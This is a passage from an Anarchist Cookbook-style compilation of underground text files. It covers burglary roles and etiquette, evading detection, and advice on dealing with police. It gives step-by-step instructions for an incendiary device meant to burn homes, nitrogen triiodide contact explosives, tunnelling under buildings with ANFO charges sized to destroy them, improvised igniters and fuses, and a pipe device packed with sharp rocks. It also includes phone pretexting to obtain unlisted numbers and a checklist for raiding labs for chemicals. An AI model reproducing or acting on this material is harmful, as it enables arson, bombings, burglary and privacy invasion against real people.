	Third.  The person with the large tool kit stays at the door to be the lookout.  He could be the one with the watch.  When you only have 15 seconds left he goes for the car:




	
	
Getaway Driver:  You must realize a few things




		1.  Drive normally

		2.  Don’t wait for them. If they know you are going to leave, they will come

		3.  If you see cops when you come out:  JUST GO!  As shitty as it sounds, they 			     will be better off on foot.

		4.  Once you are at the car, don’t leave.  If they can’t carry something, they can 		                 leave it.

		

	When you are in the place:  Do no trash it.  The longer in the day it takes them to realized they have been robbed the better.  Also, the intelligence for the runner team must be above the IQ of 3.  No idiots.  These people can help with planning thought.  You will want to wear dark clothes, over non-suspicious clothes.  Wear Gloves.  And Here are you etiquette rules:



	1) Point Flashlights down

	2) Crawl Under Windows

	3)  Absolute Silence must be observed.



	Well, that is all I can tell you.  You know what you need, how to case the joint, and what to do when in there.  You will have to pick several sets of locks, unless you can steal a master key.  Planning is the key, we can’t out gun the man, but we can out smart them.  Nothing is totally secure unless they have an army protecting it  (Hence the pentagon.  I could break in there, but there are never less than 250 Marines there so it would not be breaking in it would be putting the Pentagon under siege!)  Good luck to you!  Don’t get caught! 





Sneak
y
 and Cautious
, Being
 By: Vortex




	In this file it will tell you all the basics of how to work 
underground, how to do devious things without getting caught, and how to
 
be cautious and to always watch your back.



	You probably know if you work underground that you will always have to watch your back.  When ever you contact one of your associates you always agree on a meeting spot ahead of time(this should be done first after starting your group or initiating a new associate).  You should have more than one meeting spot for a backup.  Avoid making written notes and messages 

to your associates.  If you can’t then you should always encrypt them(You can also do this at the beginning of organizing your group).  If you ever send threats through the mail ethier type it or have someone write it in a sloppy form (most common is the typed).  



	Its common sense not to leave finger prints on it, but if you do you better hope there not smart enough to take it to the cops!  If your working underground its also common knowledge not to tell anyone about it outside your group.  If you do they tell their best friend then they tell their best friend and so on.  Don’t ever talk about any operations in the public.  Only talk to your associates in isolated places.  



	Always do a basic sweep for bugs when talking to an associate about the op.  You can do that by checking around the phone and phone lines, you should check in the phone, look in odd spots around the meeting spot such as under tables, under the rug, in corners, and basically EVERWHERE! 



	ALWAYS assume that someone is watching and listening.  You should also look for suspicious looking vehicles around.  Mainly any car just sitting their.  When you do have your meetings you should always have someone scouting around before and during your meeting.



	When doing an operation or whatever and you don't want to get caught, you should again watch your back.  Don’t look around in a suspicious way, because then that just leads more people into suspicion.  If its an op.taking place outside than your approach is most important.  Watch your shadow, watch where you step because if you step on a dry leaf or twig you can create noise and alert your target.  If you alert your target its all over. You give yourself a better chance at getting caught and you cannot complete your mission.  I will give you a "stupid" example of an operation.  You are in class and your objective is to take the folder of the jerk off sitting next to you.  Its only obvious that you make your move when he is not have view of the folder



	("When he has turned away" for all you non-intelligent people).




	Now the key to taking something in a situation like this is to move SLOW! If you move fast and snatch it many things can go wrong.  He could feel it taking of at one hundred miles per hour, you could alert one of the other classmates who could give you away, or if he tuns around and you let go and slowly move away he won't notice you.  But if your hands are zipping away 

because you don’t want to get caught, he WILL see you! If your slow and casual you wont ever get caught.  You can not under any circumstances trust any one. If you do it could mean exposure or death.  You can't even trust your most treasured friend....... TRUST NO ONE











Sternobomb
 Courtsey of 
Re
d 
Phaze




	Today boys and girls we will tell you all about having fun with a few simple items that you can buy easily or may even have in your home.  Since most of you are simple-minded, uncoordinated morons, I will start you out slowly and simply (like you).



	Our first project is a sure fire way to be the life of the party.  Real sure fire.  This item is called a "Handy House Warmer."  All you need are three items which can easily be obtained.  The first item is a roll of electrical tape (starts easy).  Second, a large can of Sterno, easily bought at any camping or hardware store.  Third, an M-80 or other similar explosive plaything.



	Step one in the construction of our pyrotecnic wonder is to remove the top of the sterno and, using an ice pick or other sharp item, punch a hole in the top of the can.  Step two is placing the M-80 into the sterno gel. Make sure it is well covered by the gel.  Step three is to replace the

cap, making sure to thread the M-80 fuse through the hole in the cap. After securing the lid tightly on the can, you can start the final phase to fun.  The last step is simply to wind tape tightly around the entire can, making sure to cover it completely with at least three layers of tape but not more than six layers.



	Now, as you can tell, when you go to use our incendiary toy to cheaply and efficiently heat any home in your neighborhood, all you have to do is light the fuse and run.  The other advantages of this are that Sterno sticks to almost anything and is very difficult to put out, needing to be completely smothered, and that Sterno is highly prone to reignition (very similar to napalm).  This type of firecracker is handy in small areas such as inside cars, small rooms, phone booths, rectums, etc...



	Now, I am not advocating the use of this item for anything but your own personal fireworks displays and enjoyment, but where and what you call enjoyment I won't judge.



	Well, boys and girls, that's all for today.  Hope you enjoyed our time together and remember my motto:  DEATH IS JUST A STATE OF MIND.






Stink Bombs By: PeEll



	I'm not quite sure of the proportions, but a very effective stink bomb can be made from Ammonia and Sulphur, making Ammonium Sulphide.  If somebody can figure out the proportions, post a response.  Until then, just try mixing the two together liberally, and in a very wide open space.  When you have the yellowish fluid this produces, fill an eye dropper's worth into a small glass container with a lid.  You may use more than an eye dropper, but that amount was all it took to completely evacuate the boy's locker room at my school.  A Coke bottle full of it would be more than enough to completely evacuate a large building.  Note that even though there is no fire involved, some cities still consider it fire-works, so if you take it to a public place, (school, the subway, etc.) don't let anyone know about it. 



Results of a Stink Bomb



	Aove, I posted a formula for a righteous stink bomb, but I wasn't sure if it worked.  Well, I have news.  It does, and how!!!  A friend of mine took  Coke bottle, filled it 3/4 full of ammonia, and added some sulphur powder and corked it.  Next, he shook it up, and I think some gas might have escaped, but anyway the fluid separates into two layers: a yellow layer and a clear layer.  Pour off the clear layer.  He then crept up to a neighbour's house who had his windows open since it was such a nice day, and he poured the entire bottle in the kitchen window.  About 5 minutes

later, the entire family including the dog was out in the backyard!





Survival Kits
 B
y The Omega Man




	
There is quite a bit going on out there to worry about today. Within the past year we had two
 
large-scale natural disasters: The San-Francisco Earthquake, and Hurricane Hugo. There was also a
 
tornado in the Summer of 1989 which tore through the New York Metro Area (not far from

Cybertek magazine's location actually); which is very unusual for this area. According to various

scientists, this is just the start of a funky-weather trend which is going to be with us for a while.




	
The economy isn't in all too good a shape either. Some very respectable economic advisors, among
 
them Howard Ruff, and Dr. Jim McKeever are predicting a depression. Also just recently, I.B.M.
 
"eliminated" 11,000 job across the nation, an indicator that even they have been hit hard since the
 
October 1987 stock market crash.




	
Last, but not least, there is the current drive to ban private firearms ownership by American citizens.
  
Despite all indications from the FBI, and other government agency reports that within the past 10
 
years firearm-related crimes have went down, and that firearm-related crime prevention instances
 
went up; both our elected-representitives, and "media experts" state that "firearms must be taken out
 
of the hands of the citizens". Personally, I feel that when something like this is happening, the
 
government is up to something nasty and doesn't want its citizens able to defend themselves against
 
it.




	
As you see, there is a lot of things going on out in the world to worry about, and thus a good reason
 
to be prepared in case one of the above decides to happen. There is an old saying "An ounce of
 
prevention is worth a pound of cure
,
"
 and it still holds very much true today.




	
A major part of surviving a disaster of any type is being adequately prepared. In this months
 
installment, we will discuss the putting-together of a short- term survival kit. The object of this
 
package is to be easy to carry around in a small backpack or in a car, to keep you alive for 3-5

days, and to act as a basis for a larger equipment set- up. The 3-5 day time period is considered to

be the maximum figure one will have to endure before intermediate help is available. Within 3-5 days
 
you should be able to either 




	
1) Get further help from 
your crew
, 



	
2)
 
Get to your main supplies, or 


	
3) Be able to scrounge up something more substantial.




	
For those of you wishing to take the quick route, may I recommend a company called "Survival
 
Inc.". These people sell "72 hour kits" which contain food, shelter, and light for 72 hours (3 days),
 
and would form a good basis for your survival kit. Their prices are also very reasonable, and the
 
material is high quality. Another good company is Nitro-Pak, which also deals in survival food and
 
other supplies.



A survival kit should provide the following:




	
(1) Food & Water - You should have at least 2000 calories of food, and one quart of water for a
 
day. For food, the best are the military MREs; although they take up a lot of space. MREs are
 
designed to provide a high calorie diet for high activity situations, such as combat, and survival.
  
Another good source are the single serving cans of chili, beef stew, sardines, and so on that are sold
 
in supermarkets. Water is the more difficult prospect, as it takes up a lot of space, and is heavy.
 
Packaged water is available, although two 2 quart military canteens will provide a 4 day supply, and
 
are easy to carry around and store. One should also get a water filter to augment your supply; as
 
water is one thing that you can't have too much of.




	
(2) Shelter - I recommend carrying a "space blanket", and a U.S. Military Issue Poncho. Both of
 
these can provide overhead cover and warmth, and don't take up too much space.




	
(3) Heat and Light - Candles and Matches serve both of these functions. A candle will not only
 
provide light, but will also keep you warm when you bring it inside the space blanket with you.
  
Matches will also enable you to start a fire if some thing bigger is desired. Waterproof camping
 
matches are best, although one can get book matches free from many places, and waterproof them
 
by putting a coat of nail polish on them. Cigarette lighters are also handy as they out-last matches.
 
Other handy light producers are cyalume light sticks, and Mini- Maglites.




	
(4) Firearms - for our 72-hour kit, a firearm will provide you with protection from many nasty
 
situations, as well as a means to hunt game should the opportunity arise. For these purposes, your
 
best bet is a semi-automatic .22 caliber rifle. This weapon is suitable for both self-defense, and for
 
small game hunting, and presents a non- threatening image as far as firearms are concerned. My
 
favorites are the Charter Arms AR-7, and the Ruger 10/22 with the optional high- capacity
 
magazines. For ammunition use CCI stingers, or a similar brand of hyper-velocity hollow-point
 
ammunition, for added stopping power. I suggest carrying about 500 rounds, which should be
 
adequate for any situation that might occur until you either get help from 
your crew
, get to your
 
main supplies, or scrounge up something else.




	
If you really want to pack some firepower, carry around a 12 or 20 gauge pump shotgun or a .223
 
semi-automatic (AR15), although for a interim survival-kit, these might prove a bit excessive, as well
 
as more prone to get attention from the "authorities". The ammunition as well as the firearm itself
 
weighs a little more. However, if the most probable disaster is a major breakdown in civil order, or
 
the accession to power of a dictatorial form of government in this country, then the added firepower
 
might be needed in order to get you home safely, but for most situations, stick with the .22.




	
(5) First Aid - A good, well stocked first aid kit should also be carried. There are many varieties out
 
there which will suit your purposes well. Include some aspirin or similar pain-reliever.




	
(6) Tools - For starters get a good Swiss Army Knife, or a Leatherman Tool. You might also want
 
to include some parachute cord, safety pins, sewing needle, and rubber bands. If you wear glas
e
s
s,
 
include a back-up pair.




	
(7) Signaling - A handy thing if you're in the woods, to let rescue personnel know where you are.
  
The old stand-bys are the whistle, and signalling mirror (very handy). If you are in a somewhat
 
civilized area, you might also want to pack a CB Walkie-Talkie. For disasters in which the
 
government is still around, a portable AM/FM radio might also be a good idea.




	
The above should help you deal with the first 3-5 days of an emergency situation. This list is by no
 
means exhaustive, as there might be something particular to your needs which might some in handy,
 
but it should start as a basis. Finally, the last and most important thing needed is the proper skills and
 
attitude. Without those you will never make it!





Survival
, Another view of
  By Hanover Fist



	A large and growing number of people are becoming increasingly convinced that the United States is facing imminent catastrophe, Either from a financial collapse, or a revolution, or both. The former isn't really all that surprising, all things considered. The country has a 500 billion dollar deficit! That's enough to spend almost 14 million dollars a day for a hundred years! It is literally too large a number for the human mind to grasp. As for a revolution, you need only take a look at the current state of affairs in this country and you could come up with a plethora of reasons for one. 



	The concept of a speedy trial no longer exists. For most purposes there is no such thing as unfair search and seizure: "anonymous tips" are often sufficient to obtain warrants, when the authorities even bother with them; and in many cases, such as searching a car warrants of any kind are unnecessary. The first amendment is largely ignored: has anyone taken a look at the censorship that is so commonplace in this country these days? Books and records are censored in too many towns to even attempt to name. Many people don't even realize that their town has a list of prohibited books, but you can be sure the bookstore owners know about it. There is even a federal regulation prohibits banks in other countries from advertising in this country. This may not seem like much, until you learn that in many countries, banks offer as much as 20% annual interest on savings, and even on checking accounts! Many of these countries don't even tax foreign investors.



	If all this isn't enough, you might consider the possible ramifications of the government's current trends against the separation of church and state. This author considers that more frightening than anything previously mentioned in this article! Religion is not necessarily a bad thing: in fact it can be good.



	If a religion supports tolerance and understanding, and most importantly, rational thought (the other two can eventually descend from this) then it is certainly a good thing indeed. Unfortunately many, if not most of the major religions in this country are actually opposed to all of these things. This is certainly true of the various fundamentalist sects. If you doubt this, try listening to a fundamentalist evangelist some day, or perhaps you might just look at the history of any of the major religions and the atrocities committed in their names.



	Fortunately, many of the people who anticipate any such catastrophes are taking steps to prepare for them. Unfortunately, most of the steps being taken are wholly inadequate. Of the people who are actually taking any steps at all, most seem to be trying to stock up on arms and munitions, learning combat skills, and/or banding together in paramilitary organizations, or just learning survival skills and planning to go underground in the event of trouble, and perhaps, fleeing the country. While none of these things are bad, and all of them could certainly be useful, none are really adequate to insure the
 
safety and continued well-being of the individuals in question. In fact, the most certain way to survive trouble of any kind is to avoid it: and the only way to avoid the situations discussed above is to flee the country and go to some safer, more congenial location. And it would be wrong to assume it would be easy to do this after the fact!



	A plan such as this should always have contingencies for the worst case scenarios. It never hurts to be too cautious, but not being cautious enough can kill you, and in this case, `cautious' reads as `being prepared.' While it could certainly be useful to have a clandestine means of leaving the country, any such would surely have certain risks attached to it, and so, should not be used unless the risks of not using it exceed those of using it. 



	There are, however certain steps that should be taken, regardless. Visas should be obtained for all countries that you might need to travel to, and not be allowed to lapse. If possible, citizenship should be obtained in any country that you might want to settle in. It might be helpful if you could obtain a change of identity in these countries. In many nations, it costs very little to own and maintain a residence in many other countries, and if you don't mind people knowing that you own it, you could use it for your vacations.



	If you plan on staying any place for any length of time, you will need some means of supporting yourself. Fortunately, the actual cost of living in many countries is such that this is not a very serious problem. Also, there are still nations that have no income tax, and I've already mentioned the kind of interest rates that can be obtained from some overseas banks. In fact, there are many nations that have strict banking secrecy laws which prevent their giving out any information about their depositors, even to other governments in criminal investigations.



	The fact that overseas assets in such nations generally cannot be frozen by this countries government could also prove a significant benefit. Then, too, there are still nations with whom we have no extradition treaties. Of course, there is a law that was designed to prevent citizens from transporting more than ten thousand dollars overseas without reporting it to the government, but let me assure you, that law was intended to apply only to those who have not read it! Read it and see what I mean.



	It is worthy of note that in many countries, the banks accept domestic American postal money orders at full value. This would provide a means of transporting money overseas that would be very difficult to trace. and once the money is in a Swiss-style numbered account, not even our government can get at it. I do not, however, recommend a Swiss account, as not only are they no longer secure from our government's meddling, they usually charge you interest instead of giving you interest, and many other nations's banks are still secure, and pay you interest.



	The reader will undoubtedly have noticed that this article was very thin on specifics: this was intentional. Not only would it take too much space to provide detailed information on these topics, but it is all too likely that some important pieces of information might be forgotten, and that could be catastrophic! However, interested readers might contact the Eden Press company and request a catalog. They have books on most of the topics mentioned above, and those books often have very useful bibliographies.







Talking to Cops  By: Robert W. Zeuner, Member of the New York State Bar



	"Good morning! My name is investigator Holmes. Do you mind answering a few simple questions?" If you open your door one day and are greeted with those words, stop and think! 

	

	Whether it is the local police or the FBI at your door, you have certain legal rights of which you ought to be aware before you proceed any further.  In the first place, when law enforcement authorities come to see you, there are no "simple questions". Unless they are investigating a traffic accident, you can be sure that they want information about somebody. And that somebody may be you!



	Rule number one to remember when confronted by the authorities is that there is no law requiring you to talk with the police, the FBI, or the representative of any other investigative agency. Even the simplest questions may be loaded and the seemingly harmless bits of information which you volunteer may later become vital links in a chain of circumstantial evidence against you or a friend.  Do not invite the investigator into your home!



        Such an invitation not only gives him the opportunity to look around for clues to your lifestyle, friends, reading material, etc., but also tends to prolong the conversation. The longer the conversation, the more chance there is for a skill investigator to find out what he wants to know.



	Many times a police officer will ask you to accompany him to the police station to answer a few questions. In that case, simply thank him for the invitation and indicate that you are not disposed to accept it at this time. Often the authorities simply want to photograph a person for identification purposes, a procedure which is easily accomplished by placing him in a private room with a two-way mirror at the station, asking him a few innocent questions, and then releasing him.



	If the investigator becomes angry at your failure to cooperate and threatens you with arrest, stand firm. He cannot legally place you under arrest or enter your home without a warrant signed by a judge. If he indicates that he has such a warrant, ask to see it. A person under arrest, or located on premises to be searched, generally must be shown a warrant if he requests it and must be given to chance to read it. 



	Without a warrant, an officer depends solely upon your helpfulness to obtain the information he wants. So, unless you are quite sure of yourself, don’t be helpful.  Probably the wisest approach to take to a persistent investigator is simply to say: "I'm quite busy now. If you have any questions that you feel I can answer, I'd be happy to listen to them in my lawyer's office. Good-bye!" Talk is cheap. When that talk involves the law enforcement authorities, it may cost you, or someone close to you, dearly.



	Remember, that the only people who ever get busted are the ones who admit shit; why do you think Feds and cops always tell you they have evidence and that you had better talk.  If they had enough to convict you, they wouldn't want you to talk, they would only be wasting their time.  That is why they try to get you to say stuff about yourself.  




Touch Explosives  By: The Jolly Roger



	This is a sort of mild explosive, but it can be quite dangerous in large quantities.  To make touch explosives (such as that found in a snap-n-pop, but more powerful), use this recipe:



Materials:



Iodine crystals

Ammonia




Procedure:  Mix iodine crystals into ammonia until the iodine crystals will not dissolve into ammonia anymore.  Then pour off the excess ammonia and dry out the crystals on a baking sheet.  In other words, just let them sit over night.  Be careful, these crystals are now your touch explosives.  



Caution:  Friction will set these things off.




Tunnels Courtesy of: Military Tactics of the Past

	

Military Mining Techniques:  Some people may question why I included this file in my book.  However, if you are intelligent then the reason why this is included should be obvious.



	Military mining is the art of tunneling under an enemy position and detonating a large charge of explosive.  Once one of the most important tasks of an army engineer, it is almost now a lost art.  This is not because it is ineffective, but rather the fluid tactics of modern warfare have all but eliminated the conditions under it was used.  The days of an army sitting in trenches a hundred yards from its opponents for months on end is a thing of the past.  Nonetheless, tunneling is still useful for covertly attacking positions such as storehouses, barracks, or headquarters with minimum risk to the attacker.



	Various terrorist groups, such as the IRA and the Basque ETA, have dabbled with road mining, but no one of late has tunneled under a structure with an eye to blowing it up.  As near as I have been able to determine, the last time it was done was during the Spanish Civil War.

	

	There are a number of variables to consider with urban tunneling: soil conditions, depth of the water table, road traffic overhead etc., not to mention the myriad of things that run underground, such as sewers, telephone  lines, and gas pipes.  The easiest way to avoid these is to go straight down to a depth of 20 to 25 feet before beginning your horizontal tunnel to your target.  How much, or how little you will need to shore your tunnel depends on the soil condition.  The reason the Vietcong had such success with their tunnels was the heavy clay content of the soil in their area of operations-it is set like concrete and didn't even need to be shored.  On the other hand, the tunnel at Stalag Luft III was in soil with a heavy sand content.  It was necessary to shore almost every foot of it.



	If the shaft is too close to the water table, you may have to install a small sump pump to keep things dry.  If your tunnel is very long you will have to insure proper ventilation for your diggers.  Believe me, if this is needed, you will know it.  Working underground is hard even when you have enough air.  If you don't, it is exhausting and downright painful.  Attach a length of 3/4-inch hose to a compressor or air pump and run it up to the tunnel face (where the digging occurs). Lighting along the tunnel is nice, but optional.  Your diggers just need to have a enough light to work by.  The size of your tunnel will also be dependent upon your circumstances.  If it is higher than it is wide, it will be less likely to cave in.

	

	When tunneling under a structure, always be aware of what types of pipe you are encountering.  When the French resistance tried to blow up a Gestapo headquarters by placing a charge under it, they did not take a simple yet important precaution.  The charge was placed next to a gas main.  When it blew, so did the whole block.  There were so many civilian casualties, that the Nazis didn't even bother with their usual reprisals.





	If the opportunity presents itself, you may want to try a "blitz" tunnel, entering through a sewer pipe or storm drain.  You can cut through the wall and dig as fast as possible to the target site.  If the tunnel is short-30 feet or less- you may not have to shore.  If it is any longer, you should dig a conventional shaft.  The spoil (excavated dirt) maybe disposed of in the sewer itself since you will ideally be there only a few hours.  This is the least secure of all tunneling jobs.



	You may want to try a method used by some enterprising bank burglars a few years ago.  They used a small all-terrain vehicle (ATV) with a trailer to haul their heavy equipment (torches, core drill, etc) up the storm drain to the tunnel site.  It also made possible their speedy getaway when their entrance to the vault when their entrance into the vault triggered the alarm. A good set of mufflers should be fitted.  For sawing through sewer walls, one of the quickest and neatest methods is to use a gas-powered chop saw with a diamond-impregnated blade.  Always use the diamond blade.  They are more expensive than the carbide ones, but they will cut through rebar like it does not exist.		

	

Tunnel Construction: While you are contemplating the construction of your tunnel, I suggest you go to the library and check out a copy of "The Great Escape" by Paul Brickhill. This is an interesting and highly informative account of the mass tunnel escape from Stalag Luft III in 1944. One of the most detailed accounts of covert tunneling available, it includes many helpful hints on what may  occur and how to deal with it.  Of course, you wont have the same problems of concealing your work from constantly prying eyes or making your own tools.



Tunnel Entrances:  The best place to start a tunnel, from the viewpoint of security is the basement of a private home or secure commercial firm.  You must be able to work unobserved (duh) and have a safe place to store all the spoil from the tunnel.  If the shaft is to be very long or large there will be lots of dirt to dispose of.  You will have to break through the floor with a pick axe, sledge hammer or chop saw with diamond-impregnated blades.  The latter is the fastest and neatest way to go if the concrete is not too thick.



	Once you have your work area cleared, begin to dig the vertical shaft. Use buckets on ropes to carry out the excavated dirt.  The first couple of  cubic yards should be packed into sandbags for use as tamping when the charge is employed.  Once you have reached the desired depth, enlarge the base of the shaft for use as your workroom.  This is where you will store all of your  tools, air pump, dirt tubs, and so on.  If at all possible, both the workroom and the vertical shaft should be heavily shored so that you have a safe place to go if the tunnel begins to collapse.  This is also where your shovel men will be stationed.



Tunnel Shaft: The best size for a tunnel varies with the soil conditions, but one about 5 feet high and 3 feet wide is big enough to allow one man to work  comfortably on his knees while wielding a pick axe.  The small army surplus pick works well in cramped quarters.  One man can usually dig a cubic yard of earth per hour.  When this has been accomplished, he goes back to the workroom to rest while the shovel man moves forward with his tub to clear away to clear away the loose dirt and do any shoring necessary. Rounding the top of the tunnel will make it easier to get by without shoring. To a point, the narrower the tunnel, the less likely that cave ins will occur.



	When trying to decide the size of your tunnel, always bear in mind the size of the explosive package you will be using.  Trying to drag a 50 pound  sack of ANFO through a 2x2 tunnel to the charge chamber tends to be a bit tiring. Try to make sure the floor is reasonably flat and solid.  This will make it easier to use a hand truck for both disposal of the dirt and carrying in the explosive charges.  If the tunnel is very long, more than 75 to 100 feet, use a laser to sight along one wall to make sure it is straight and level.  If you blow up the wrong building people are liable to talk badly about you.



Charge Chamber: Once your tunnel is the required length, begin digging upward until you make contact with the foundation of the target building.  Be careful not to  scrape your shovel across the concrete, as this makes quite a bit of noise. Noise discipline is very important at this point-you would be surprised at how far sound will carry.  Begin digging your charge chamber off to the side of the shaft.  You should already have determined how much space the explosive charge will occupy.  Make the chamber about 5 feet longer than needed.  This makes tamping easier.  If your target building is very long you may want to enlarge the charge chamber into what is known as a "coyote" tunnel.  Dig two wings off to the sides of the charge chamber at 90-degree angles, parallel to the length of the building.



Computing the charge size: If total destruction of a heavily built structure is required, a good rule of thumb is to use a quarter pound of high explosive per square foot of the floor area.  In most cases you can get by with about half as much.  If you use a coyote tunnel, divide the charges into thirds.



	With such large amounts of explosive required, ANFO is the best way to go.  Prime with at least 10 percent conventional high explosive (HE), such as TNT or gelatin dynamite; 20 percent is better. An easy way to prepare bulk ANFO is to punch a hole in the top of a bag, insert a funnel, and pour in the required amount of diesel or fuel oil (1 quart oil per 25 pounds AN). Slap a square of duct tape over the hole and turn the bag over several times to get it evenly mixed.  Rather than prime every bag, as is common practice, place your HE in one package and stack the ANFO bags on top of it.  This will direct the detonation waves upward.



Emplacing the charge: Once the chamber is ready, prime one of the explosive packages, place it on the bottom, and stack the rest of the charge on top of it.  The shock  wave of the explosion will travel upwards toward the target.  The tamping in this case is not confining, rather than channeling the force of the blast.  Stack the prepared sandbags in the rest of the chamber until full.  Reel the firing wire out of the tunnel to the firing site.  When the charge is detonating, most of the explosive force will go straight up into the target.  Some of it, especially if it was improperly tamped, will come up the tunnel looking for you.  Don't be near the entrance when this happens.  The shorter the tunnel, the greater the chance of this happening.



Unlisted Phone Numbers  By: The Jolly Roger



	There are a couple of different ways of getting unlisted phone number.  Let's see if this one will help: 

	

	Every city has one or more offices dedicated to assigning numbers to the telephone wire pairs. These offices are called DPAC offices and are available to service reps who are installing or repairing phones. To get the DPAC number, a service rep would call the customer service number for billing information in the town that the number is located in that he is trying to get the unlisted number of. (Got that?) The conversation would go something like this: 

	

	"Hi, Amarillo, this is Joe from Anytown business office, I need the DPAC number for the south side of town." 

	

	This info is usually passed out with no problems, so if the first person you call doesn't have it, try another. Remember that no one has any idea who the hell you are when you are talking on the phone, so you can be anyone you damn well please! 	



	When you call the DPAC number, just tell them that you need a listing for either the address that you have or the name. DPAC does not show whether the number is listed or unlisted.  Also, if you're going to make a habit of chasing numbers down, you might want to check into geting a criss-cross directory, which lists phone numbers by their addresses. It costs a couple-a-hundred bucks, but it is well worth it if you have to chase more than one or two numbers down!



Under water Igniters  By: The Jolly Roger



Materials: 



Pack of 10 silicon diodes (available at Radio Shack. you will  know you got the right ones if they are very, very small glass objects!)

Pack of matches

1 candle



Procedure:  Light the candle and allow a pool of molten wax to form in the top. Take a single match and hold the glass part of a single diode against the head. Bend the diode pins around the matchhead so that one wraps in an upward direction and then sticks out to the side. Do the same with the other wire, but in a downward direction. The diodes should now be hugging the matchhead, but its wires MUST NOT TOUCH EACH OTHER!  Dip the matchhead in wax to give it a water-proof coat. These work underwater



Use:  When these little dudes are hooked across a 6v battery, the diode reaches what is called breakdown voltage. When most electrical components reach this voltage, they usually produce great amounts of heat and light, while quickly melting into a little blob. This heat is enough to ignite a matchhead. These are recommended for use underwater, where most other igniters refuse to work. ENJOY!



Vinegar and Baking Soad Bomb Courtsey of Red Phaze



Materials:



box of baking soda

bottle of vinegar

small sharp rocks

1 baby food container

1ft long metal piping with caps for ends



Procedure:



cap one end of the pipe and fill about 1/3 with baking soda

place 3 or 4 sharp rocks in the soda

fill baby food jar with vinegar and cap

place baby food jar carefully into the pipe

cap the pipe

throw the pipe as hard as you can on the ground on the side with the baking soda

will explode in less than 5 minutes so get the hell out of there!


                  


Wicks By: Garbled User



	These wicks aren't the best.. but do OK in a jam.  Take any burning string (except nylon, if it melts when burned, it's nylon!)  Get some acetone (nail polish remover) and gunpowder (or ground up charcoal if in a serious jam. You is bummin!) 



	Mix in 1:1 ratio. Dip string in mixture.  Let the Acetone soak in for awhile. Let dry. Repeat about 10 times.  This should give you a very nice wick!



Your Rights  By:  New York Lawyer



1  Remain silent, and not incriminate himself/herself.

2  Be placed in quarters seperate from adult offenders while being held in custody.

3  Be notified before a hearing of the charges against him.

4  Have a hearing before a judge, as soon as possible after you are arressted

5  Be released to his parents or guardians after signing a written promise to appear at his trial 

6  Have a fair, impartial trial by jury

7  Be tried at proceedings that are closed to the public.

8  Have a record of the proceedings made, in case one is needed for a future appeal.

9  Be represented by a lawyer.

10  Have a lawyer appointed by the court if he cannot afford one.

11  Confront his accusers.

12 Have his lawyer cross-examine witnesses.

13 Have Lawyer call witnesses on your behalf

14 Receive neither crual nor unusual punishment if you are convicted of a crime and sentenced.

15 Be tried for a crime only once.





























































Appendix A: Chemical Equivelency List  By: Jeriatrick & The Jolly Roger



Acacia							Gum Arabic

Acetic Acid           					Vinegar

Aluminum Oxide           				Alumia

Alcohol							Rubbing Alcohol (85%)

Alumnium Oxide					Alumia

Aluminum Potassium Sulphate     			Alum

Aluminum Sulfate        					Alum

Ammonia					          	Clear window cleaner

Ammonium Carbonate          				Hartshorn

Ammonium Hydroxide         				Clear Ammonia

Ammonium Nitrate            				Salt Peter

Ammonium Nitrate             				Cold Paks

Ammonium Nitrate          				Fertilizers

Ammonium Oleate          				Ammonia Soap

Amylacetate                					Bananna Oil

Barium Sulfide              					Black Ash

Bromethymol Blue (BTB)            			Aquarium pH Tester

Calcium Carbide            				Carbide Lamp Rocks

Carbon Carbinate        					Chalk

Carbontetrachloride            				Cleaning Fluid


Calcium Hypochloride         				Bleaching Powder

Calcium Oxide             					Lime

Calcium Sulfate              				Plaster of Paris

Carbonic Acid          					Seltzer

Caustic        						Mechanic's Caustic Bin

Caustic      						Certain Brands of Polaroid Film

Cellulose                					Cotton

Cetyltrimethylammoniumbromide          			Ammonium Salt

Copper           						Copper Wiring

Copper             						Copper Pipe

Copper             						Pennies (made before 1983)

Copper Acetoarsenite   					Certain Insectisides(unpure)

Copper Sulphate   					Blue Vitriol(ask at an agriculture store)

Ethyl Alcohol            					Solvents(95%)

Ethyl Alcohol        					Alcoholic Drinks

Ethylinedichloride        					Dutch Fluid

Ferric Oxide         					Iron Rust

Formaldehyde          					Cleaners

Formaldehyde          					Resorcinal Glue

Furfuraldehyde                				Bran Oil

Glucose             					Corn Syrup

Glycerine            					Glycerine

Graphite           						Pencil Lead

Hexamethylenetetramine (HMT)    			Camping Fuel Sticks

Hexamine               					Hexamine Stoves

Hydrochloric Acid       					Muriatic Acid (pool acid)

Hydrogen Peroxide             				Peroxide

Iodine        						Tinticure of Iodine(5%)

Iron Oxide                 					Rust

Lampblack            					Oil Refinery Soot

Lead Acetate             					Sugar of Lead

Lead Tero-oxide               				Red Lead

Lecithin               					Vitamins

Maganese Dioxide         					Black Battery Powder

Magnesium         					Firestarters

Magnesium Silicate                				Talc

Magnesium Sulfate          				Epsom Salt

Mercury          						Mercury thermometers

Mercury            						Mercury Thermostats

Mercury Fulminate        					Paper Cap Powder (Cap Gun)

Methenamine            					Hexamine Stoves

Methylsalicylate             				Winter Green Oil

Naphthalene          					Mothballs

Nitrocellulos                					Guncotton

Nitrous Oxide      					Pressurized Whipped Cream

Phenol           						Carbolic Acid

Phosphorus             					Rocket Engine Igniters

Potassium Bicarbonate         				Cream of Tarter

Potassium Chloride            				Salt Substitute

Potassium Chromium Sulfate         			Chromealum

Potassium Nitrate          					Salt Peter

Potassium Permanganate            				Water Purification

Potassium Permanganage          				Snakebite Kit

Red Gum               					Tree Bark

Sodium Oxide               					Sand

Sodium Bicarbonate        				Baking Soda

Sodium Borate            					Borax

Sodium Carbonate         					Washing Soda

Sodium Chloride           					Salt

Sodium Hydroxide           				Lye

Sodium Nitrate              					Fertilizer

Sodium Perchlorate            				Solidox Pellets

Sodium Silicate          					Glass, Water Glass

Sodium Sulfate         					Glauber's Salt

Sodium Thiosulfate       					Photographer's Hypo

Strontium Nitrate         					Road Flares

Sulphur               					Gardening

Sulphur                					Woodchuck Bombs

Sulfuric Acid             					Battery Acid

Sucrose             						Cane Sugar

Zinc Chloride          					Tinner's Fluid

Zinc Sulfate             					White Vitriol














Appendix B: Checklist for raids on labs  By: The Jolly Roger



	Liquids			              Solids



____	Nitric Acid        		____     Potassium Perchlorate

____    Sulfuric Acid      		____     Potassium Chlorate

____    95% Ethanol        		____     Picric Acid (usually a powder)

____    Toluene            			____     Ammonium Nitrate

____    Perchloric Acid    		____     Powdered Magnesium

____    Hydrochloric Acid  		____     Powdered Aluminum



                         ____    Potassium Permanganate

                         ____    Sulfur

                         ____    Mercury

                         ____    Potassium Nitrate

                         ____    Potassium Hydroxide

                         ____    Phosphorus

